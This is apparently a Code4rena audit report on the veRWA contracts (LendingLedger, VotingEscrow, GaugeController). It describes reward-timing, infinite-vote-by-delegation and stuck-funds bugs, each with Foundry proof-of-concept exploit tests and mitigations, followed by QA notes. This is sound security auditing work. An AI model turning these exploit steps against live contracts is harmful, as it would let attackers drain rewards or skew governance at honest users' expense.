veRWA - popular00's results

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L137, https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/LendingLedger.sol#L174

Vulnerability details

Vulnerability details

LendingLedger is designed to provide lenders with weekly rewards, based partially on the amount that they've supplied to an approved lending market during that epoch. However, when calculating rewards the protocol does not discern between funds that are supplied in the first block of the epoch or the last. As a result, users can supply funds to a lending market at the very end of an epoch and remove them in the next block, receiving rewards as if they had supplied the entire time. Conversely, if a user supplies on the first block of the epoch and removes their funds at any point before it ends, they will not receive any rewards. An attacker can exploit this to significantly distort rewards distribution.

LendingLedger allows whitelisted marketplaces to communicate users' balances to the contract via LendingLedger#sync_ledger(). This function:

1. Checkpoints the lender's balances up to the current epoch
2. Sets the user's balance for the current epoch to incorporate the change in supply
3. Does the same for the lending market's balances

function sync_ledger(address _lender, int256 _delta) external {
    address lendingMarket = msg.sender;
    require(lendingMarketWhitelist[lendingMarket], "Market not whitelisted");

    _checkpoint_lender(lendingMarket, _lender, type(uint256).max); // 1
    uint256 currEpoch = (block.timestamp / WEEK) * WEEK;
    
    // @audit the only time component is the current epoch - there is no accounting for the amount of time left
    int256 updatedLenderBalance = int256(lendingMarketBalances[lendingMarket][_lender][currEpoch]) + _delta; 
    require(updatedLenderBalance >= 0, "Lender balance underflow"); 
    lendingMarketBalances[lendingMarket][_lender][currEpoch] = uint256(updatedLenderBalance); // 2

    _checkpoint_market(lendingMarket, type(uint256).max); // 3
    
    // @audit similarly there is no accounting for the amount of time left for the market balance
    int256 updatedMarketBalance = int256(lendingMarketTotalBalance[lendingMarket][currEpoch]) + _delta;
    require(updatedMarketBalance >= 0, "Market balance underflow"); 
    lendingMarketTotalBalance[lendingMarket][currEpoch] = uint256(updatedMarketBalance); // 3
}

An attacker can submit at the very end of an epoch, wait a short while for the epoch to complete, and can then call claim(). The user's balance and market's balance that were set in sync_ledger() are used to calculate the amount of Canto to send the user.

Note that the attacker could have already withdrawn his funds from the lending market and his current balance could be 0; the protocol only cares about his balance at the very end of the last epoch.

function claim(...) external {
    ...
    uint256 userBalance = lendingMarketBalances[_market][lender][i]; // @audit i == last epoch here
    uint256 marketBalance = lendingMarketTotalBalance[_market][i];
    RewardInformation memory ri = rewardInformation[i];
    require(ri.set, "Reward not set yet"); 
    uint256 marketWeight = gaugeController.gauge_relative_weight_write(_market, i); // Normalized to 1e18

    // (marketWeight / 1e18) * (userBalance / marketBalance) * ri.amount;
    cantoToSend += (marketWeight * userBalance * ri.amount) / (1e18 * marketBalance); 
    ...

    if (cantoToSend > 0) {
        (bool success,) = msg.sender.call{value: cantoToSend}("");
        require(success, "Failed to send CANTO");
    }
}

An attacker can thus supply an extremely large amounts of tokens to the lending pool for a short period, receiving the lion's share of rewards and shrinking them for all other users by inflating the market's balance (which is the denominator in reward calculation).

Impact

High - users can obtain disproportionate/unfair amounts of rewards at the expense of honest users

Proof of Concept

The test below can be dropped into LendingLedger.t.sol and run with forge test --match-test testAttackLateDeposit -vv to view the console.logs.

function testAttackLateDeposit() public {
    whiteListMarket();
    vm.prank(goverance);
    ledger.setRewards(fromEpoch, toEpoch, amountPerEpoch);

    vm.warp(WEEK * 5);

    // airdrop ledger enough token balance for user to claim
    payable(ledger).transfer(100 ether);
    int256 delta = 1.1 ether;

    uint256 snapshot = vm.snapshot();

    vm.prank(lendingMarket);
    ledger.sync_ledger(lender, delta); // deposit normally

    vm.warp(WEEK * 6);

    uint256 balanceBefore = address(lender).balance;
    vm.prank(lender);
    ledger.claim(lendingMarket, 0, type(uint256).max); // claim all

    console.log("Happy case - lend at beginning of epoch + wait a week");
    console.log("balanceBefore: %s, balanceAfter: %s", balanceBefore, address(lender).balance);

    vm.revertTo(snapshot);

    vm.warp(WEEK * 5 + 6 days + 23 hours); // wait up until right before the epoch ends and deposit
    vm.prank(lendingMarket);
    ledger.sync_ledger(lender, delta);

    vm.warp(WEEK * 6);
    balanceBefore = address(lender).balance;
    vm.prank(lender);
    ledger.claim(lendingMarket, 0, type(uint256).max);

    console.log("Evil case - lend one hour before epoch ends ");
    console.log("balanceBefore: %s, balanceAfter: %s", balanceBefore, address(lender).balance);
}

Tools Used

Manual review

Recommended Mitigation Steps

• Track the amount of time that the supply was active for reward calculation - something like e.g.:
  • activePeriod = (nextEpoch - submissionTimestamp) * scalingFactor / WEEK, then divided by scalingFactor again in the final reward calculation

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/VotingEscrow.sol#L356

Vulnerability details

Summary

GaugeController#vote_for_gauge_weights() is designed to allow users to vote for gauge rewards based on the amount of $CANTO they have locked in the VotingEscrow contract. VotingEscrow includes functionality for users to delegate their voting power to another address via delegate(). The delegatee can then vote freely using the delegator's stake. The issue is that there is no check to ensure that the delegatee's vote hadn't already been used by the delegator (or any other prior delegatees). This allows for infinite voting with the same stake.

The basic exploit flow is:

1. User 1 locks funds and votes for a gauge
2. User 1 delegates to user 2
3. User 2 votes for the same gauge using the same stake

Vulnerability details

delegate() increases the delegatee's voting power by increasing the amount of lock.delegated in the delegatee's lock:

function _delegate(address addr, LockedBalance memory _locked, int128 value,...) internal {
        LockedBalance memory newLocked = _copyLock(_locked);
        if (action == LockAction.DELEGATE) {
            newLocked.delegated += value; // @audit add delegated value
            emit Deposit(addr, uint256(int256(value)), newLocked.end, action, block.timestamp);
        ...
        locked[addr] = newLocked;
        if (newLocked.amount > 0) {
            _checkpoint(addr, _locked, newLocked); // @audit checkpoint it
        }
    }

The updated lock.delegated value is then used in the call to _checkpoint to calculate the delegatee's lock's slope:

function _checkpoint(address _addr, ..., LockedBalance memory _newLocked) internal {
        Point memory userOldPoint;
        Point memory userNewPoint;
        ...
        if (_addr != address(0)) {
            // Calculate slopes and biases
            // Kept at zero when they have to
            ...
            if (_newLocked.end > block.timestamp && _newLocked.delegated > 0) {
                userNewPoint.slope = _newLocked.delegated //@audit new slope here from delegated amount
                    / int128(int256(LOCKTIME));
                userNewPoint.bias = userNewPoint.slope * int128(int256(_newLocked.end - block.timestamp));
            }

The checkpointed slope is then used to calculate the share of rewards

function vote_for_gauge_weights(address _gauge_addr, uint256 _user_weight) external
    {
        ...
        (, int128 slope_, ) = ve.getLastUserPoint(msg.sender);
        require(slope_ >= 0, "Invalid slope");
        ... // @audit take the _checkpointed slope and use it to calculate voting power (new_slope.slope)
        VotedSlope memory new_slope = 
            VotedSlope({slope: (slope * _user_weight) / 10_000, end: lock_end, power: _user_weight});
        uint256 new_dt = lock_end - next_time;
        uint256 new_bias = new_slope.slope * new_dt;
        ... 
        //@audit update points weight
        points_weight[_gauge_addr][next_time].bias = Math.max(old_weight_bias + new_bias, old_bias) - old_bias;
        points_sum[next_time].bias = Math.max(old_sum_bias + new_bias, old_bias) - old_bias;

Impact

High - undermines all voting

Proof of Concept

The test below can be dropped into GaugeController.t.sol. Note that the locks of user2 and user3 are created with only 1 wei, and once delegated they can both vote and substantially increase the relative weight of gauge1.

function testInfiniteVote() public {
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.add_gauge(gauge2);
        gc.change_gauge_weight(gauge1, 50);
        gc.change_gauge_weight(gauge2, 50);
        vm.stopPrank();

        vm.startPrank(user1);
        ve.createLock{value: 1 ether}(1 ether);
        gc.vote_for_gauge_weights(gauge1, 5000); // vote 50% for gauge1
        gc.vote_for_gauge_weights(gauge2, 5000); // vote 50% for gauge2
        vm.stopPrank();

        console.log(
            "G1 Relative weight: %s, G2 Relative weight: %s",
            gc.gauge_relative_weight_write(gauge1, block.timestamp + WEEK),
            gc.gauge_relative_weight_write(gauge2, block.timestamp + WEEK)
        );

        vm.prank(user2);
        ve.createLock{value: 1}(1); // create a 1wei lock for user2

        vm.prank(user1);
        ve.delegate(user2); // delegate to user2

        vm.prank(user2);
        gc.vote_for_gauge_weights(gauge1, 10000); // vote 100% for gauge 1
        console.log("Delegated to user2, user2 votes for gauge 1 with delegated votes");

        console.log(
            "G1 Relative weight: %s, G2 Relative weight: %s",
            gc.gauge_relative_weight_write(gauge1, block.timestamp + WEEK),
            gc.gauge_relative_weight_write(gauge2, block.timestamp + WEEK)
        );

        address user3 = address(0x420); // get one more user
        vm.deal(user3, 1);

        vm.prank(user3);
        ve.createLock{value: 1}(1); // create a 1wei lock for user2

        vm.prank(user1);
        ve.delegate(user3); // delegate to user3

        vm.prank(user3);
        gc.vote_for_gauge_weights(gauge1, 10000); // vote 100% for gauge 1

        console.log("Delegated to user3, user3 votes for gauge 1 with delegated votes");

        console.log(
            "G1 Relative weight: %s, G2 Relative weight: %s",
            gc.gauge_relative_weight_write(gauge1, block.timestamp + WEEK),
            gc.gauge_relative_weight_write(gauge2, block.timestamp + WEEK)
        );
    }

Tools Used

Manual review

Recommended Mitigation Steps

• Set votes to 0 upon delegation/redelegation (requires communication from GaugeController -> VotingEscrow, which doesn't currently exist)

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L331,https://github.com/code-423n4/2023-08-verwa/blob/a693b4db05b9e202816346a6f9cada94f28a2698/src/VotingEscrow.sol#L383

Vulnerability details

Vulnerability details

The VotingEscrow contract includes delegation functionality such that a user can grant their gauge votes to someone else via the VotingEscrow#delegate() function. One of the requirements for a user to recover their funds at the end of the lock period is for their lock to NOT be delegated (i.e. their own address is set as the delegate address):

function withdraw() external nonReentrant {
        LockedBalance memory locked_ = locked[msg.sender];
        // Validate inputs
        require(locked_.amount > 0, "No lock");
        require(locked_.end <= block.timestamp, "Lock not expired");
        require(locked_.delegatee == msg.sender, "Lock delegated"); // @audit require that the lock is not delegated
        ...
}

The procedure for undelegating votes is to call delegate(<our_address>). However, if our lock is already expired the call to delegate() will always fail, as we will be attempting to delegate to an expired lock:

function delegate(address _addr) external nonReentrant {

        LockedBalance memory locked_ = locked[msg.sender];
        
        ...
        
        address delegatee = locked_.delegatee;
        LockedBalance memory fromLocked;
        LockedBalance memory toLocked;
        locked_.delegatee = _addr;
        if (delegatee == msg.sender) { 
            ...
        } else if (_addr == msg.sender) { // @audit this is the case we care about - want to undelegate
            // Undelegate
            fromLocked = locked[delegatee];
            toLocked = locked_; // @audit toLocked = our lock
        } else {
           ... 
        }
        require(toLocked.amount > 0, "Delegatee has no lock");
        require(toLocked.end > block.timestamp, "Delegatee lock expired"); // @audit if our lock is expired, toLocked.end will be less than block.timestamp
        require(toLocked.end >= fromLocked.end, "Only delegate to longer lock");
        _delegate(delegatee, fromLocked, value, LockAction.UNDELEGATE);
        _delegate(_addr, toLocked, value, LockAction.DELEGATE);
    }

As a result, our funds are unrecoverable from the lock. We will similarly be unable to increase our amount or create a new lock, as our lock still exists and is in this stuck state.

Impact

High - funds can be locked in normal operation of the protocol.

Proof of Concept

The test below can be dropped into VotingEscrow.t.sol.

function testAttackDelegateExpired() public {
    testSuccessCreateLock(); // set up a lock for user1
    (, uint256 end,,) = ve.locked(user1);

    vm.prank(user2);
    ve.createLock{value: LOCK_AMT}(LOCK_AMT);
    vm.prank(user1);
    ve.delegate(user2); // delegate what we locked in testSuccessCreateLock() to user2

    vm.warp(end + 1); // jump to where our lock expires

    vm.startPrank(user1);
    vm.expectRevert("Lock delegated"); // can't withdraw since we have an active delegate to user2
    ve.withdraw();

    vm.expectRevert("Delegatee lock expired"); // can't delegate to ourselves bc our lock is expired
    ve.delegate(user1);

    vm.expectRevert("Lock expired"); // can't increase or create a new lock either, funds are stuck!
    ve.increaseAmount{value: 1}(1);
    vm.expectRevert("Lock exists");
    ve.createLock{value: 1}(1);
}

Tools Used

Manual review

Recommended Mitigation Steps

• Allow the require(toLocked.end > block.timestamp) in delegate() to be bypassed if _addr == msg.sender

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/GaugeController.sol#L213

Vulnerability details

Vulnerability details

GaugeController includes functionality for Canto governance to add or remove gauges. When a gauge is removed, its address in isValidGauge is set to false and its weight is set to zero:

/// @notice Remove a gauge, only callable by governance
/// @dev Sets the gauge weight to 0
/// @param _gauge The gauge address
function remove_gauge(address _gauge) external onlyGovernance {
    require(isValidGauge[_gauge], "Invalid gauge address");
    isValidGauge[_gauge] = false;
    _change_gauge_weight(_gauge, 0);
    emit GaugeRemoved(_gauge);
}

However, this function does not modify the vote_user_power mapping. In order for a user to completely remove their votes for a gauge and recover their voting power, they need to call vote_for_gauge_weight(address _gauge_addr, uint256 _user_weight) with a _user_weight of 0.

However, as the gauge has marked as false in isValidGauge[_gauge_addr], attempts to remove votes from a removed gauge will always revert:

function vote_for_gauge_weights(
    address _gauge_addr, uint256 _user_weight)
        external
    {
        require(_user_weight >= 0 && _user_weight <= 10_000, "Invalid user weight");
        
        // @audit-issue this will always revert for gauges that have been removed by governance
        require(isValidGauge[_gauge_addr], "Invalid gauge address");

Impact

Medium - user votes are stuck for the full lock period, but this action is reversible by governance.

Proof of Concept

The following test can be dropped into GaugeController.t.sol.

function testVoteRemovedGauge() public {
    // vote_for_gauge_weights valid vote 50%
    // Should vote for gauge and change weights accordingly
    vm.startPrank(gov);
    gc.add_gauge(gauge1);
    gc.change_gauge_weight(gauge1, 50);
    vm.stopPrank();

    vm.startPrank(user1);
    ve.createLock{value: 1 ether}(1 ether);
    gc.vote_for_gauge_weights(gauge1, 5000); // vote 50% for gauge1
    vm.stopPrank();

    vm.prank(gov);
    gc.remove_gauge(gauge1);
    vm.prank(user1);
    vm.expectRevert();
    gc.vote_for_gauge_weights(gauge1, 0); // @audit can't remove votes
}

Tools Used

Manual review

Recommended Mitigation Steps

• Allow users to set votes to 0 even if isValidGauge[addr] == false
• Correctly update weights when removing gauges

Assessed type

DoS

QA-1 - Unused enum options

Two of the enum options in LockAction are unused and can be removed.

enum LockAction {
    CREATE,
    INCREASE_AMOUNT,
    INCREASE_AMOUNT_AND_DELEGATION,
    INCREASE_TIME, // @audit-issue qa unused
    WITHDRAW,
    QUIT, //@audit-issue qa unused
    DELEGATE,
    UNDELEGATE
}

QA-2 - VotingEscrow#decimals can be constant

VotingEscrow#decimals is currently a storage variable hardcoded to 18. It can be made constant.

QA-3 - Missing events

Several key functions are missing event emissions:

• GaugeController#_change_gauge_weight()
• GaugeController#vote_for_gauge_weights()
• All functions in LendingLedger
  • sync_ledger()
  • claim()
  • whitelistLendingMarket()
  • setRewards()
• all _checkpoint() functions (discretionary but would recommend adding)

QA-4 - GaugeController#last_user_vote is unnecessary

This mapping can be removed as it was only used for the voting delay in the original Curve contract, which was not included in this implementation.

• GaugeController#L277: last_user_vote[msg.sender][_gauge_addr] = block.timestamp;

QA-5 - Small (dust) amounts of stake will be locked for the full LOCKTIME and not counted towards voting

Lock amounts smaller than LOCKTIME will round down to 0 in the following line and will result in a slope and bias of 0: VotingEscrow#134-135:

userNewPoint.slope = _newLocked.delegated / int128(int256(LOCKTIME));
userNewPoint.bias = userNewPoint.slope * int128(int256(_newLocked.end - block.timestamp));

QA-6 Unsafe casting

There are many instances where a value or timestamp is casted from int128(int256(uint256)), which can overflow for large values. This is low risk as the current max supply of CANTO is 1 billion and timestamps will not be greater than uint32.max for many years.

QA-7 There is no guarantee that the LendingLedger has enough rewards to pay out what governance sets

LendingLedgers#setRewards() allows governance to set the amount of rewards to be distributed for an epoch. However, it is not enforced that the contract actually has enough funds to match the distribution configuration.

QA-8 Code simplification

LendingLedger#constructor:

constructor(address _votingEscrow, address _governance) {
    votingEscrow = VotingEscrow(_votingEscrow);
    governance = _governance; // TODO: Maybe change to Oracle

    //@audit-issue qa time_sum can just be assigned directly here
    uint256 last_epoch = (block.timestamp / WEEK) * WEEK;
    time_sum = last_epoch; 
}